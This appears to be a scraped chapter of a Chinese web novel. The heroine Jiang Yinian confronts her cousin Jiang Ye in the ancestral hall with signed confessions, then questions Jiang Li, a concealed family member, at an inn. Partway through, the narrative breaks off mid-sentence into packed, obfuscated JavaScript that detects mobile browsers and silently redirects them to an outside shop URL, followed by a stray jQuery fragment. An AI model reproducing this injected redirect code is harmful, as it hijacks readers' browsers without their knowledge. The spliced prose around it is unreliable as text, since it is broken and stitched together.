“阿姐,我自问这一路上对你不错,你为何要这样对我?”
姜宜年眼皮一开一阖,轻叹一声,“即便不是在祠堂,我也是有什么说什么,姜叶,口口声声姐妹,你真的有把她们、把我,当成是姐妹吗?”
姜叶没吭气。
姜宜年看向其他人,从老太太的表情来看,这些事情她早就知道。
这不意外。
就算当时没发现,后来也有很多发现的机会,不过人学坏了再想往正途上引,就很难了。
老太太找不到比姜叶更合适的继承人,只能当做什么都不知道。
其他人就不一样了,嘀嘀咕咕起来,姜叶大怒:“闭嘴!”
周围霎时间静了下来。
姜叶意识到失态,故作轻松笑了两声,“我……我没有做过那些事。”
她看向姜宜年,“那些不过是阿姐信口胡诌,冤枉我的,阿姐,给你帮忙本是好意,是祖母定下的,你为何要这样冤枉我?”
姜宜年料到了她不会承认,“帮我?”
她笑笑,点了点头,扬了扬手里的东西,“这是供词,时间地点都有,相关人按了手印,如果尊长们也觉得是我在冤枉她,不妨自己去查一查,或者不妨报官,让官府帮着查一查。”
有人怒斥,“这是家事,怎可报官?!让外人知道了就是丑事了,你让姜家其他人如何自处?!”
姜宜年耸了下肩,“只是告诉你们一声,不查也行,反正跟我没关系。”
她把所有东西塞到姜叶手里,发现姜叶在发抖。
“方才邀我去家里坐坐的,现在应该再也不想见到我了吧?”
无人应答。
姜宜年笑了一声,“明日我就会启程回嵘城,今夜在祠堂发生的所有事情,我会当作什么都没有发生过,你们自便。”
没人说话。
姜宜年看着姜叶开口:“本来不想走到这一步的,但时间太短,想不到其他方法。我很好奇,你在决定伤害自己姐妹的时候,有想到有朝一日会被反噬吗?”
姜叶抬起眼看着她,“你一直是装的。”
姜宜年:“……”
不知道她指的是什么,但照单全收吧,至少以后她会因为自己抖出来的这些事情很长一段时间里都被指指点点。
姜宜年不想窝窝囊囊,花费更多时间去试图温和地解决问题。
她认为如果自己表现得温和,那么对方只会觉得她可以随意欺辱。
明明她往后退一步是因为不想惹麻烦,但对方可不会领情。
如果对方出拳头,那她就出刀子。
老太太让她跪下,她就把老太太和姜叶最不想让人知道的事情,呈在月光下。
离开祠堂,柯玉疾步跟在姜宜年身边,没一会儿,尤嬅出现在二人身边。
“行李收好了吗?”
“戚英收好了,已经全部放上马车了。”
柯玉靠近姜宜年小声开口:“还以为娘子看到那么多人,会改变计划。”
姜宜年没说话,一开始是有一点犹豫,谁让老太太咄咄逼人的。
原本的计划是用这件事跟老太太、姜叶谈判,在看到还有那么多观众在的时候,姜宜年是思考了一下要不要说的。
但从对方做这些事情的起始原因来看,姜宜年觉得这未必不是某种因果报应。
平安无事到了客栈,柯玉惴惴不安的一颗心才稍稍放下。
她们提前定了三间房,只休息一晚,天亮就启程回嵘城。
不过归程不止她们四个,还多了个人。
姜宜年把门推开,里面的人被吓得抖了一下,看到是姜宜年,惊惧的表情和缓了一点儿。
“抱歉,我不知道你在这个房间。”姜宜年指了下旁边,“尤嬅跟我说你在隔壁住。”
尤嬅赶过来,立刻开口解释:“是我说错了,娘子罚我吧。”
“小事。”姜宜年摆了摆手,带着柯玉进门,“反正我们也有话要说,你帮我找点吃的来,你和戚英肯定也饿了,都先吃些东西吧。”
“是。”
姜宜年看向里面的人,问:“你现在方便吗?”
对方怯怯地点了点头。
姜宜年走到对方面前坐下,柯玉关了门,守在门口。
这人叫姜礼,原本也住在姜家,不过只有极少数的人知道她姓姜,大多数人都以为她只是个普通下人。
“她很生气吧?”姜礼小声询问。
“不知道是害怕多,还是愤怒多,应该都有吧。”
没一会儿,尤嬅拿了吃的来,姜宜年问姜礼:“你吃过了吗?”
姜礼点头之后,她分给了柯玉一些,自己吃了一些。
没那么饿了以后,心情也好了不少。
“你会……信守承诺的吧?”看得出来,姜礼怕到不行。
姜宜年看向她,笑了一声,“你也知道选择向我求助,是在赌我的良心吧?”
姜礼点了点头。
“那就不要问这种问题了,无论我给出什么样的答案,都要看最后能不能做到。”
姜礼是姜叶母亲养在外头的人生下的孩子,姜叶的母亲年轻时非常多情,但因为姜家不是小门小户,长辈在乎名声,准她最多娶五个。
这样可不能限制她看到美人不动心。
姜礼的父亲长得很好,被姜叶的母亲一眼看中。
虽然是农户家的儿子,好歹身家清白,如果她不是已经娶了五个的话,还是能收进院里的。
可姜叶的母亲没什么长进,那时候总跟家里对着干,姜礼的父亲怎么都没能进门。
姜叶母亲去世没多久,姜礼出生,家里穷得很,因为难产,她父亲也没能活多久。
在家里将将养到五岁,实在养不起了,就找去了姜家。
这事知道的人不多,传到了当时当家的老太太耳朵里,老太太知道女儿的德性,再看孩子的长相,确实跟女儿有几分相似。
但她不能确认这孩子是姜家血脉,也不想承认。
农户说如果她不帮帮这个孩子,她就没有活路了,老太太一念之差留下了姜礼。
让她随父亲的姓。
姜礼从那时候起,就成为了姜家的下人,做些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845907|189017||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
洒扫清洗的事情。
但老太太不让她进内院,也不准她告诉其他人自己的身世。
因为年纪小,无依无靠,姜礼一直被其他人欺负,每日连饭都吃不饱,只是活着而已。
她决心为自己想个改命的法子,观察了很久,把目标放在四姑娘身上。
姜礼没有看错人,“凑巧”看到她被欺负的时候,四姑娘将她收到身边,甚至让她跟自己一起读书识字。
从一开始,姜礼就是个局外人,看到了很多身处其中的人看不到的东西,例如姜叶的那些小动作。
不过她掉以轻心了,四姑娘还是受了伤,再也站不起来,也没了读书考试的心气儿,每日躲在院子里混沌度日。
姜礼决心一定要让姜叶付出代价,直到姜宜年出现。
她把自己知道的所有事情都告诉了姜宜年,与之交换的条件,是希望姜宜年带她离开鼎州,她想有个正式的身份读书考试。
姜宜年同意了。
但,人说出口的话,总是利于自己的。
姜宜年觉得姜礼有私心是正常的,然而她叹息四姑娘的腿,是因为真的没想到,来不及,还是放任不管,目前很难说。
她不想继续深究,来赴鼎州这趟鸿门宴,死了她好多脑细胞,她累了。
越来越想回嵘城。
姜宜年问姜礼:“你认为姜叶会放任我们离开吗?”
按姜礼的说法,姜叶不知道她的真实身份,但老太太一定会立刻怀疑到她身上来,所以姜礼在跟姜宜年主动坦白一切的时候,就没打算继续待在姜家。
“我……不知道。”姜礼皱着眉,思索半晌,开口道:“但是如果你在鼎州出了事,她也很难办吧?”
如果自己死在鼎州……
姜叶到底难不难办姜宜年不知道,商琮琤一定会崩溃的。
得平安回去。
姜宜年回到了自己的房间,戚英向她汇报自己调查得到的消息。
姜礼所言非虚。
“外面的人都知道,四姑娘出事时,有个随从舍命相救,摔坏了胳膊,那个随从应该就是她。”
戚英说完,尤嬅也跟着点头,“她刚才没想到娘子会突然推门出现,下意识捂了胳膊,姿势奇怪,那个位置应该就是当初受伤的位置,想来当初伤得不轻,养的时候也没机会好好养,必有痕迹,明日可以找机会再确定一下。”
姜宜年点了下头,看向她们两个:“你们两个的效率真的好高,先是发现姜礼藏在暗处看我的眼神不对,之后不过一个晚上,怎么就做到的找了那么多人证口供?”
戚英和尤嬅对视一眼,讪讪一笑。
尤嬅道:“都是些江湖上的老法子,我们混得久了,多少有些办法。”
戚英道:“而且不止一个晚上,今天白日还做了些事的。”
“没错。”
姜宜年不置可否笑了一下,在想柯锦是从哪儿找到的这两个人,还挺好用。
两人心里有点儿虚,生怕姜宜年追问。
只凭她们两个哪里做得到这么多事,只不过不能让姜宜年知道罢了。